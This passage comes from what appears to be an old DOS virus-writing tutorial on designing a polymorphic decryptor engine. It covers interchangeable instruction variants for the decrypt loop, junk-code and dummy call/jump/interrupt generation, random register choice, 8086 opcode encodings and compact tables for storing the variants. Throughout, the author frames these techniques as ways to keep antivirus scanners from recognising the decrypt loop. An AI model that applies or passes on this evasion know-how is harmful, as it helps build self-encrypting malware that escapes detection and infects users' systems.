mov reg, ax
sub reg, rndm
junk byte
junk byte
ÄÄÄÄÄÄÄÄÄÄÄ
11 bytes

c) xor reg, reg


xor reg, imm (imm = real data - rndm)
add reg, rndm
junk byte
ÄÄÄÄÄÄÄÄÄÄÄÄ
11 bytes

d) mov reg, 0
add reg, imm (imm = real data xor rndm)
xor reg, rndm
ÄÄÄÄÄÄÄÄÄÄÄÄ
11 bytes

e) mov reg, imm (imm = real data xor rndm)


xor reg, rndm
junk byte
junk byte
junk byte
junk byte
ÄÄÄÄÄÄÄÄÄÄÄÄ
11 bytes

[3] push cs Ä 1 byte


~~~~~~~~~~~~~~~~~~~~~~~~~~~
(we'll leave this like it is, it's much too usual)

[4] pop jreg


~~~~~~~~~~~~~~~~~~
a) mov jprg, sp
mov ax, ss:[jprg]
add sp, 2
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
8 bytes

b) pop jprg
xchg ax, jprg
junk bytes \
... > six times
junk bytes /
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
8 bytes

c) pop jprg
mov ax, jprg
junk bytes \
... > five bytes
junk bytes /
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
8 bytes

[5]/[6] mov sreg, jreg / mov dreg, jreg


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
a) push ax
pop sreg
junk byte
junk byte
ÄÄÄÄÄÄÄÄÄÄÄÄÄ
4 bytes

b) mov sreg, ax
junk byte
junk byte
ÄÄÄÄÄÄÄÄÄÄÄÄÄ
4 bytes

c) pop jreg
xchg jreg, ax
mov es, ax
ÄÄÄÄÄÄÄÄÄÄÄÄÄ
4 bytes

[7] mov kreg, key


~~~~~~~~~~~~~~~~~~~~~~~
a) mov reg, imm
junk byte
junk byte
junk byte
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
6 bytes

b) push imm
pop reg
junk byte
junk byte
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
6 bytes

c) xor reg, reg


or reg, imm
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
6 bytes

[8] mov creg, sreg:[preg]


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
a) mov creg, sreg:[reg]
junk byte
junk byte
junk byte
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
6 bytes

b) push sreg:[reg]
pop reg
junk byte
junk byte
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
6 bytes

c) xor reg, reg


xor reg, sreg:[reg]
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
6 bytes

[9] call unscrambble Ä 3 bytes


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

[10] mov dreg:[preg], creg


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
a) mov sreg:[reg], creg
junk byte
junk byte
junk byte
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
6 bytes

b) push reg
pop sreg:[reg]
junk byte
junk byte
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
6 bytes

c) xchg reg, sreg:[reg]


junk byte
junk byte
junk byte
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
6 bytes

[11] add kreg, keyi


~~~~~~~~~~~~~~~~~~~~~~~~
a) add reg, imm
junk byte
junk byte
junk byte
junk byte
junk byte
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
9 bytes

b) mov ax, imm


add reg, ax
junk byte
junk byte
junk byte
junk byte
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
9 bytes

c) mov ax, reg


add ax, imm
xchg reg, ax
junk byte
junk byte
junk byte
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
9 bytes

d) xchg ax, reg


xor reg, reg
or reg, ax
add reg, imm
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
9 bytes

[12] dec lreg


~~~~~~~~~~~~~~~~~
a) dec lreg
junk byte \
... > 8 times
junk byte /
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
9 bytes

b) mov ax, rndm


sub lreg, ax
add lreg, rndmÄ1
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
9 bytes

c) sub lreg, 1
junk byte \
... > six times
junk byte /
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
9 bytes

d) xchg ax, lreg


dec ax
mov lreg, ax
junk byte \
... > five times
junk byte /
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
9 bytes

[13]/[14] inc preg


~~~~~~~~~~~~~~~~~~~
a) mov ax, 1
add preg, ax
junk byte
junk byte
junk byte
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
8 bytes

b) xchg ax, preg


inc ax
xchg preg, ax
junk byte \
... > 5 times
junk byte /
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
8 bytes

c) sub preg, rndm


add preg, rndm+1
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
8 bytes

d) add preg, rndm


sub preg, rndmÄ1
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
8 bytes

[15] jnz main_loop


~~~~~~~~~~~~~~~~~~~~~
(very important to code this good so the scaners don't see
it's a decrypt loop. We'll speak more in the Armouring
section)

a) push cx
mov cx, lreg
jcxz _label
pop cx
jmp main_loop
_label:
pop cx
junk byte
ÄÄÄÄÄÄÄÄÄÄÄÄ
10 bytes

b) mov ax, ffffh


add ax, lreg
jns main_loop
junk byte
junk byte
junk byte
ÄÄÄÄÄÄÄÄÄÄÄÄÄ
10 bytes

c) xor ax, ax
sub ax, lreg
jns main_loop
junk byte \
... > six times
junk byte /
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
10 bytes

d) xchg ax, lreg


sub ax, 15h
cmp ax, 0FFEBh
xchg ax, lreg
je main_loop
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
10 bytes

And now, some discussion on these matters.


First of all, you notice I wrote those junk bytes *after* the real
code. You may choose to leave it this way, which will allow you to use
junk instruction involving the junk register too. But I'd suggest to insert
the junk bytes bewteen the real code, in this way having a better stealth
of the real code. But in this case, of course, you won't be able to use
junk instruction involving the junk register, unless they do nothing (like
ADD AX, 0), because the junk register is used in the real code. I'd
suggest the use of one byte or two bytes instructions BUT not in the last
set (15) bacause here we need our flags to stay put! Another thing about
the last pieces of code. You see there many conditional jumps. Well, they
will not work ! Why ? Because the jump to the main_loop is surely bigger
then -128 bytes. In this case all you have to do is change the code kinda
like this:

Instead of Use

Je Main_Loop Jne not_main_loop


jmp main_loop
not_main_loop:

This gives us 3 more bytes, making the loop jump go up to 13 bytes.

As you can see, I consider that the poly engine should drop directly
values into the decryptor, so you don't have to mess up with things like:

mov bx, [bp + 0542]

Instead, the engine will compute how much BP+0542 is and will put
the value there. This helps us in many directions. First of all, the AV's
are hunting for stuff like [BP+...], because it's the mose used way of
holding the Delta handle. But if we don't use it in our main decryptor,
we can safely use it in our junk instructions !! This bring us again to
messing up the AV. Check the Armouring chapter for more.

And last: I let the PUSH CS and RET instructions like they are,
but these can be coded in different ways too. Use your imagination !

In this area you can make whatever you want and desire. Any other
combinations can be added. After this is done, we can surely compute
the length of our main decryptor. So let's do it:

Main decryptor length =

11+11+1+8+4+4+6+6+3+6+9+9+8+8+10 = 104 bytes

So, our decryptor with some junk in it is 104 bytes. To this we should
add the unscramble procedure with which we shall deal later.

Now, only by permuting the instructions between them and adding the
extra junk code into it, we have an almost good poly decryptor. But we don't
wanna stop here !
Before jumping to generating instruction we should take a peek to...

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Creating junk instructions ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

The way to do this is:

In our code we have 16 sets of intructions we have to put garbage


after and we also should put garbage before the first instruction.
Studying the code I came up with this situation:

Bewteen ³ Nr. of junk instruction


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
0 Ä 1 ³ 15 to 20
1 Ä 2 ³ 10 to 15
2 Ä 3 ³ 0
3 Ä 4 ³ 10 to 15
4 Ä 5 ³ 10 to 15
5 Ä 6 ³ 5 to 10
6 Ä 7 ³ 10 to 15
7 Ä 8 ³ 15 to 20
8 Ä 9 ³ 5 to 10
9 Ä 10 ³ 5 to 10
10 Ä 11 ³ 10 to 15
11 Ä 12 ³ 10 to 15
12 Ä 13 ³ 10 to 15
13 Ä 14 ³ 10 to 15
14 Ä 15 ³ 10 to 15
15 Ä 16 ³ 10 to 15
16 Ä end ³ 15 to 20 (+ the rest)
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

This is just my ideea, you can come up with something else.

So let's see which is the maximum amount of junk instructions we


can have. It's

15*10 + 10*3 + 20*3 = 150 + 30 + 60 = 240 junk instructions.

If we consider the longest junk instruction as being 4 bytes long,


then we'll have a maximum junk code of 4*240 = 960 bytes. This would
make our decryptor 960 + 104 = 1064 bytes long. The more junks you want to
put in the biggest the code will get.

How do we pick them ? Very simple. First we get a random number


between the limits. Then we make a loop to generate that amount of junk
instructions. For each we take a random between 1-4 which gives us the
length of the instruction. Then we take randomly one of that instruction
type (looking carefully to do not repeat the same instruction one after
another - which is kinda impossible). After we did this for all the code,
because of the fact that we use random numbers, it is virtualy imposible to
get the maximum of junks for each interval. Therefore at the end we will
have 960 total junks from which we only created a X nr. of junks. All we
have to do then is create an amount Y = 960-X and put them after the last
instruction. This is what I meant when I said (+the rest).

Now, one important thing. As you will see further, the 2, 3 and 4
bytes long instructions are much more soffisticated and make much mess.
That's why I suggest you to make a probability of 10% for 1 byte
instructions, 20% for two bytes instruction, 30% for 3 and 40% for 4 bytes
instructions. I thought of this taking into account that within the code
you already inserted a lot of 1 byte junks. You can also create 4 byte
garbage, by overriding the three byte ones (you'll see how).

Let's check a little the types of junk we can use. I said that we can
have a maximum 3 byte length instruction. I said so, because it's kinda
hard to generate 4 or 5 bytes instructions and still keep the code small.

[a] 1 byte instructions


^^^^^^^^^^^^^^^^^^^
CLI ¿ DEC AX ¿
STI ³ DEC AH ³
CLD ³ INC AX Ã affect AX
STD Ã affect INC AH ³
CLC ³ flags LAHF -
STC ³
CMC ³
SAHF -

About creating 2, 3 and 4 byte instructions it goes like this (but


this is not a rule, you'll have to read further):

* the 2 byte ones are the register to register instructions


* the 3 byte ones are usualy imm8 to register
* the 4 byte ones are usualy imm16 to register and mem operations

Remember we have two junk registers: AX and one pointer register (DI
or SI). In the cases presented above (which you'll see further why are they
two bytes long), the 'reg' can be either AX or the jprg. And we also have
AX divided into AH and AL. We can perform any opperation over AH and AL,
the second register being any of the other 8 bit registers.

This is a rule:junk registers are used for junk instruction, but we


have exceptions from that. Here are cases when you can use them with any
register:

* if cl/imm = 0 you can ROR/ROL/SHR/SHL any register


* if imm = 0 you can ADD/SUB/AND/OR/XOR any register
* if reg1=reg2 you can XOR any register
* you can perform TEST/CMP on any register
* you can XCHG any register with itself

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Creating calls to dummy routines ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

The creation of dummy routines and jumps is a very interesting feature


and is very good at messing up the AV's.
What we should basically look at are these:

CALL xxxx
JMP xxxx
J___ xxxx (conditional jumps)
RET

First, when we are about to create junk code we decide if:

A) we'll use CALL's


B) we'll use JMP's
C) we'll use both

From the beginning I'll tell you that using only calls is bad. Why ?
Simple... Our code goes line by line, right ? Imagine this situation:

Call _label Type 1 Dummy Call


(*) ...
...
_label:
...
...
Ret

When Ret is reached, the IP returns at the (*), but after a while the
Ret is reached again and here goes chaos. Or let's look at this:

(*) Type 2 Dummy Call


_label:
...
...
Ret
...
...
Call _label

This is also bad, because as the code is executed, it goes from (*) and
reaches the Ret... Again chaos.
We cannot skip the Ret's (even if we replace them with some POP's,
because the code still we'll come over the CALL again. Only in the first
case we can POP the CS:IP and get it over with, but it's dangerous. AV's
may notice that a CALL was made and there wasn't any RET for it...)
How can we solve this ?

First method: Use only JMPS.


The creation of a jump is really easy. All you do is put the opcode of
an absolutely random kind of jump and then a zero word and remember the
place of that word. You must see that the jmp is not in the last part of the
junk code ! Then, create the rest of the junk, by recording the length in
bytes of the junk after the JMP. This is done easily. As soon as one
instruction is generated, add it's length to a register. After you're done
with three, four, five or even more instructions, just go back to the place
where you wrote the 0 and write the length recorded. This length is equal
to the offset of the jump destination minus jump offset minus 2 (in the case
of 8bit displacement). Let's take an example:

0100 EB06 Jae 0108


0102 A800 Test al, 00
0104 2D2310 Sub ax, 1023h
0107 FB Sti
0108 83E701 And di, 1

So we have 'A8 00 2D 23 10 FB' - 6 Bytes -> other junk


'EB 06' - 2 Bytes -> JMP code

06 = 108 - 100 - 2

It is very important to compute very corectly the jump destination. You


cannot make it random ! Imagine you wrote JAE 105 instead of JAE 108. The
code would go directly to '23 10' (e.g. add dx, [bx+si]), messing all up.

What I described above is a jump 'downwards' the code. In order to


make a jump 'upwards' the code, take this example:

0100 A800 Test al, 0


0102 81EB0001 Sub bx, 100
0106 B81000 Mov ax, 10
0109 EBF5 Jmp 100

In order to generate this call we have the following fomula:

Jump length = jump address - destination address + 2.


In our example: 109 - 100 + 2 = 11
Then we simply negate this number:

11 = 0Bh
-11 = F5h (which is exactly what apperes in
the opcode: EBF5)

Use all kinds of jumps, especially conditional ones, because as this


is junk code, it doesn't really matter if the jump is done or not. You really
need to use the JMP instruction if you decide to take the other way:

Using Calls and Jmps.

I showed you how a Call cannot be created into a code that goes normaly
because it will hang. Here comes the JMP to help us.
So, your random routine decided that you will use CALL+JMP.
Then your random routine must decide which kind of CALL it will make
(as in the examples above). Let's analyse the two examples and see how the
JMP solves the problem:

Call _label Type 1 Dummy Call & Jmp


(*) ...
Jmp _label2
...
_label:
...
Ret
...
_label2:

---------------------------

(*) Type 2 Dummy Call & Jmp


...
Jmp _label2
_label:
...
Ret
...
_label2:
...
Call _label

So, what the JMP actually does is avoid the second passing across the
Ret instruction.

In the first case:


* Write CALL 0000
* Write JMP 0000
* Compute _label and change the CALL accordingly
* Write the Ret
* Compute the _label2 and change the JMP accordingly

In the second case:


* Write Jmp 0000
* Write the Ret
* Compute _label2 and change the JMP
* Write Call _label (you know _label already)

Of course, between these instructions you can let your imagination


run free. I would suggest to put in the '...' place a random number of
instructions which would vary from 1 to 5.
Now, a really wonderful thing is to 'remember' such a CALL you
created during the junk code generation and 'come back' to it. That is,
you create a type 2 call and you keep the _label stored somewhere. Then,
when you want to create another dummy call you just create the CALL
instruction and put the _label as the address. This saves time in creating
junk routines. Here is an ideea about how it would look:

...
Jmp _label2
_label:
...
Ret
...
_label2:
...
Call _label
...
...
Call _label

This is easily done and creates a better image of a structured


program. Of course, in the '...' place you'll have both junk instructions
as well as parts of the real decryptor.

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Creating dummy interupt calls ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

Here is a list of interrupts you can insert into your code and how
they would afect registers (in brankets):

* INT 21h, with the following AH contents:

- 0Bh - get input status (AL)


- 0Dh - flush buffers (none)
- 19h - get current disk (AX)
- 4Dh - get terminate status (AX)

* INT 10h, with the following AH contents:

- 08h - read char from cursor (AX)


- 0Dh - read pixel from screen (AL)

So, all you have to do is generate a Mov ah, xx and then an INT. Very
simple and very effective (most scanners die under these).
But beware, many people are tempted to use dummy calls like INT03 or
INT01. Don't do this. This is flaged by most AV's. This goes into the
Armouring section, which we'll discuss later.

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Getting random registers ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

We'll talk later about the random number routine. But first let's see
how we store the order of our registers.
We have the following notations:

reg field - a code that keeps the register to be used


sreg field - a code that keeps the segment register
r/m field - how is the instruction made (based, indexed, etc.)
mod field - who makes the indexing (i.e. DI, BP, etc.)
dir field - the direction
w field - word mark

reg field:
~~~~~~~~~~
AX or AL - 000 = 0
CX or CL - 001 = 1
DX or DL - 010 = 2
BX or BL - 011 = 3
SP or AH - 100 = 4
BP or CH - 101 = 5
SI or DH - 110 = 6
DI or BH - 111 = 7

When coding an instruction where word or byte registers could be


involved, they way too see which is the case is the 'w' bit. If it's 1
then we are talking word registers. If it's 0 we use byte registers.

sreg field
~~~~~~~~~~
ES - 001 = 1
CS - 011 = 3
SS - 101 = 5
DS - 111 = 7

r/m field
~~~~~~~~~
00 - based or indexed
01 - based or indexed with a 8-bit displacement
10 - based or indexed with a 16-bit displacement
11 - two register expresion

mod field (if r/m is based or indexed)


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
000 - [BX+SI]
001 - [BX+DI]
010 - [BP+SI]
011 - [BP+DI]
100 - [SI]
101 - [DI]
110 - IF R/M = 00 A DIRECT MEMORY OFFSET OTHERWISE [BP]
111 - [BX]

segment overrides
~~~~~~~~~~~~~~~~~
ES - 00100110 - 26h
CS - 00101110 - 2Eh
SS - 00110110 - 36h
DS - 00111110 - 3Eh

Direction
~~~~~~~~~
If set, reg is the destination and mod is the source, otherwise it's
the other way around.

In order to choose a random order of the registers we must have this:

reg_table: db 11011000 ;bx cx dx


db 11100100 ;bx dx cx
db 01111000 ;cx bx dx
db 01101100 ;cx dx bx
db 10011100 ;dx cx bx
db 10110100 ;dx bx cx

Just pick randomly one of the combinations and you'll have the
registers to use: lreg, creg, kreg.
So in a very simple way, we got our registers to use. And remember
that AX is the junk register. In the same way, you can pick the pointer
register leaving the other one as junk pointer register.

Now let's see an example of how to generate a mov.


If you disassemble a program that contains this line:

MOV BX, [SI+0134h]

You'll get this OpCode: 8B 9C 34 01, or:

10001011100111000011010000000001, which means:

100010 | 1 | 1 | 10 | 011 | 100 | 0011010000000001 |


mov d w r/m reg mod data

lets see: d (direction) = 1, so from 'mod' to 'reg'


w = 1 (the word bit)
r/m = 10 (based with 16-bit displacement)
reg (register)= 011 (BX)
mod = 100 ([SI])
data = 0134h (the 16 bit displ. added to SI)

So, in order to create a 'blank' Mov reg, [si+imm] you should have:

100010 1 1 10 000 100 0000000000000000, or

10001011 10000100 0000000000000000


³³³ ÀÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÄÄ-> here you put your data
³³³
³³ÀÄÄÄÄ-\
³ÀÄÄÄÄÄÄ-> here you put your register
ÀÄÄÄÄÄÄÄ/

So what do you think this would be:

10001001100011011000000000000000 ?

It would be MOV [DI+1000h], CX because:

d = 1
r/m = 10
mod = 101
reg = 001

Now let's take all the instructions and look at each and everyone and
see how are they encoded. One more thing: I stated at the beginning that
I'll consider the AX the junk register because some instructions are
optimized for it. As you'll se below, being given a skeleton for an
instruction you can make it use any register. You can also make it use the
AX, even if a compiler wouldn't generate something like that. Hope you get
this...

For the first instruction (MOV) I will indicate how you can calculate
the length of the instruction in bytes. For the rest figure it out, it's
easy !

a) The MOV instruction


~~~~~~~~~~~~~~~~~~~~~~
1) mov reg, imm

1011, w, reg, imm


- if w = 0 imm is 8 bit -> 2 byte instr.
- if w = 1 imm is 16 bit -> 3 byte instr.

2) mov reg, reg


mov reg, mem
mov mem, reg

100010, d, w, r/m, reg, mod, data


- if r/m = 00 -> 2 byte instr.
- if r/m = 01 data is 8 bit -> 3 byte instr.
- if r/m = 10 data is 16 bit -> 4 byte instr.

3) mov sreg, reg


mov reg, sreg

100011, d, 0, 1, sreg, reg, 1


- 2 byte instruction

b) The XCHG instruction


~~~~~~~~~~~~~~~~~~~~~~~
xchg reg, reg
xchg reg, mem
xchg mem, reg

100001, w, r/m, reg, mod, data

c) The stack operations


~~~~~~~~~~~~~~~~~~~~~~~
PUSH reg - 01010, reg
POP reg - 01011, reg
PUSH sreg - 000, sreg, 10
POP sreg - 000, sreg, 11
PUSH imm - 01101000, data
PUSH mem - 11111111, r/m, 110, mod, data
POP mem - 1000111, r/m, 0000, mod, data
PUSHA - 01100000
POPA - 01100001
PUSHF - 10011100
POPF - 10011101

d) The logical instructions


~~~~~~~~~~~~~~~~~~~~~~~~~~~
1) XOR
~~~~~~
1.1) XOR reg, reg

001100, d, w, 11, reg1, reg2

with the mention that d = 1 only if reg1 = reg2

1.2) XOR reg, imm

100000, w, r, 11110, reg, data

with the mention that if r = 0 register is 8 bit otherwise


register is 16 bit

1.3) XOR reg, mem


XOR mem, reg
00110, d, w, r/m, reg, mod, data

2) OR
~~~~~
1.1) OR reg, reg

0000100, d, w, 11, reg1, reg2

1.2) OR reg, imm

100000, w, r, 11001, reg

1.3) OR reg, mem


OR mem, reg

000010, d, w, r/m, reg, mod, data

3) AND
~~~~~~
1.1) AND reg, reg

001000, d, w, 11, reg1, reg2

1.2) AND reg, imm

100000, w, r, 11000, reg

1.3) AND reg, mem


AND mem, reg

001000, d, w, r/m, reg, mod, data

4) NOT
~~~~~~
1.1) NOT reg

1111011111010, reg

1.2) NOT mem

1111011, w, r/m, 010, mod

5) NEG
~~~~~~
1.1) NEG reg

1111011111011, reg

1.2) NEG mem

1111011, w, r/m, 011, mod

6) TEST
~~~~~~~
1.1) TEST reg, reg

1000010, w, 11, reg1, reg2

1.2) TEST reg, imm

1111011, w, 11010, reg, data


6) CMP
~~~~~~
1.1) CMP reg, reg

0011101, d, w, 11, reg1, reg2

1.2) CMP reg, imm

100000, w, r, 11111, reg

1.3) CMP reg, mem


CMP mem, reg

001110, d, w, r/m, reg, mod, data

e) The Arithmetic instructions


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1) ADD
~~~~~~
1.1) ADD reg, reg

0000001, w, 11, reg, reg

1.2) ADD reg, imm

100000, w, r, 11000, reg

1.3) ADD reg, mem


ADD mem, reg

000000, d, w, r/m, reg, mod

2) ADC
~~~~~~
1.1) ADC reg, reg

0001001, w, 11, reg, reg

1.2) ADC reg, imm

100000, w, r, 11010, reg

1.3) ADC reg, mem


ADC mem, reg

000100, d, w, r/m, reg, mod

3) SUB
~~~~~~
1.1) SUB reg, reg

0010101, w, 11, reg, reg

1.2) SUB reg, imm

100000, w, r, 11101, reg

1.3) SUB reg, mem


SUB mem, reg

001010, d, w, r/m, reg, mod


4) SBB
~~~~~~
1.1) SBB reg, reg

0001101, w, 11, reg, reg

1.2) SBB reg, imm

100000, w, r, 11011, reg

1.3) SUB reg, mem


SUB mem, reg

000110, d, w, r/m, reg, mod

3) INC
~~~~~~
01000, reg16
1111111111000, reg8

4) DEC
~~~~~~
01001, reg16
1111111011001, reg8

f) Shifting instructions
~~~~~~~~~~~~~~~~~~~~~~~~
1) SHR
~~~~~~
1.1) SHR reg, 1

1101000, w, 11101, reg

1.2) SHR reg, imm

1100000, w, 11101, reg

1.3) SHR reg, cl

1101001, w, 11101, reg

2) SHL
~~~~~~
1.1) SHL reg, 1

1101000, w, 11100, reg

1.2) SHL reg, imm

1100000, w, 11100, reg

1.3) SHL reg, cl

1101001, w, 11100, reg

3) ROR
~~~~~~
1.1) ROR reg, 1

1101000, w, 11001, reg

1.2) ROR reg, imm


1100000, w, 11001, reg

1.3) ROR reg, cl

1101001, w, 11001, reg

4) ROL
~~~~~~
1.1) ROL reg, 1

1101000, w, 11000, reg

1.2) ROL reg, imm

1100000, w, 11000, reg

1.3) ROL reg, cl

1101001, w, 11000, reg

5) RCL
~~~~~~
1.1) RCL reg, 1

1101000, w, 11010, reg

1.2) RCL reg, imm

1100000, w, 11010, reg

1.3) RCL reg, cl

1101001, w, 11010, reg

6) RCR
~~~~~~
1.1) RCR reg, 1

1101000, w, 11011, reg

1.2) RCR reg, imm

1100000, w, 11011, reg

1.3) RCR reg, cl

1101001, w, 11011, reg

g) Flag instructions
~~~~~~~~~~~~~~~~~~~~
CLI - 11111010
STI - 11111011
CLD - 11111100
STD - 11111101
CLC - 11111000
STC - 11111001
CMC - 11110101
SAHF - 10011110
LAHF - 10011111

h) Jump instructions
~~~~~~~~~~~~~~~~~~~~
1) JMP SHORT - EBh, data8

2) JMP NEAR - E9h, data16

3) JMP FAR - EAh, data

data is a segment:offset data in inverse format.


Example: jmp far 1000:432fh = EAh, 2f43h, 0010h

Now, the conditional jumps (note that data8 is a 8 bit signed number;
if it's from -127 to -1 the jump is upward otherwise the jump is
downward. The jump is counted from the *END* of the jump instruction.
This means that a JE 00 is a jump to the next instruction below. A
JE 02 is a jump past the two bytes *AFTER* the jump's OpCodes)

4) JBE/JNA - 76h, data8


5) JLE/JNG - 7Eh, data8
6) JB/JNAE/JC - 72h, data8
7) JL/JNGE - 7Ch, data8
8) JZ/JE - 74h, data8
9) JNE/JNZ - 75h, data8
10) JAE/JNB/JNC - 73h, data8
11) JGE/JNL - 7Dh, data8
12) JA/JNBE - 77h, data8
13) JG/JNLE - 7Fh, data8
14) JCXZ - E3h, data8
15) JNO - 71h, data8
16) JO - 70h, data8
17) JP/JPE - 7Ah, data8
18) JNP/JPO - 7Bh, data8
19) JNS - 79h, data8
20) JS - 78h, data8

21) LOOP - E2h, data8

22) CALL SHORT - E8h, data8

23) RETN - C3h


24) RETF - CBh
35) IRET - CFh

36) INT - CD, data8

i) Other misc. instructions


~~~~~~~~~~~~~~~~~~~~~~~~~~~
1) lea reg, mem

10011, d, w, r/m, reg, mod, data

For example LEA DI, [BP+1000h] would be:

10011, 0, 1, 10, 111, 110, 0010


Opcode d w r/m reg mod data

After all these have been said, you are now able to create skeletons
for each instruction and then fill it with the proper registers and mod's
and everything.

Let's say the following:

kreg = CX = 00000001
creg = BX = 00000011

and we want to create:

(1) XOR CX, BX


(2) MOV [DI], CX

For (1) we have the skeleton:

001100, d, w, 11, reg1, reg2


which we encode like:

00110000 11000000, and then we start to fill it:

00110000 or 11000000 or
00000011 00001011
-------- --------
00110011 11001011 and we have 0011001111001011 = 33CBh

For (2) we have the skeleton:

100010, d, w, r/m, reg, mod, data


which we encode like:

10001000 00000000, and then start to fill:

10001000 or 00000000 or
00000001 00001101
-------- --------
10001001 00001101 = 1000100100001101 = 890Dh

So, we have:

33 CB xor cx, bx
89 0D mov [di], cx

And a final word about all this stuff of coding here. I'm talking
about segment overrides. Sometimes you may want to override the memory
address with another register. This is done by inserting *before* the
entire Opcode the segment override. For example if you want to turn
MOV [DI], CX into MOV ES:[DI], CX the opcode will turn from 890Dh to 26890Dh.
You may put how many overrides you want, but only the last one will take
effect. You can use this to turn 2 byte junk instructions into three byte
junk instructions, and so on.

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ The Steps ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄ-

Ok, now that we know most of the things about how a polymorphic
decryptor should look like, let's get deeper.

1) How to store so much information ?


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The answer is: Compress and Code everything. I already started this,
by giving a number to each of our instructions in the main decryptor. We
already created a matrix that will hold the order our instructions will be
generated. We *know* which is the length of each instruction. We define it
in an array. Then we need to start coding. There are not so many instructions
given in all the methods we computed up there. All we have to do is give a
number to each of them as soon as we meet one. Like, for example:
[1] mov lreg, length

a) push imm - 01h


pop reg - 02h
b) mov ax, imm - 03h
mov reg, ax - 04h
c) xor reg, reg - 05h
xor reg, imm - 06h
d) mov reg, 0 - 03h
add reg, imm - 07h
e) mov reg, imm - 03h

So we can code the entire [1] instruction with all it's variants like this:

01 FF 05 FF 01 02 FD FD FF 03 04 FD FF 05 06 FD FF 03 07 FF 03 FD FD FD FD FE

where:
* the first 01 is the instruction number
* the first 05 gives the number of variants
* FF is a mark between variants
* FE is the mark of end of all
* FD marks a junk instruction

As I said, you may insert the junks between the real code randomly.
This means you can permute the FD's between the FF's and get another code
that does the same thing.

So, the entire poly-main-decryptor will look like this:

decryptor_table:
db 01h, FFh, 05h, ...
db 02h, FFh, ...
...
db 15h, FFh, ...

This cleared up how you store the instructions. You create them
steb by step. Let's say you picked combination nr. 3 of the first
instruction. You generate it. Then you generate random junk. Then you
go onto the next instruction, and so on... Of course, before going into
this you must compute the random key, keyi, startcode and length and
associate for each a random number to junk them around like:

if length = 1000h get a random, let's say 1234h and store it like:

length = 1000h xor 1234h = 234h

When you want to use the real length, just XOR again.

But still, how do you code and get all that big amount of instructions
with different sizes and everything ? Again: compress and code. Here is an
idea:

instruction_table:

aa bb c d e iiiiiiiiiiiiiiiiiiiiii
³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> = instruction skeleton
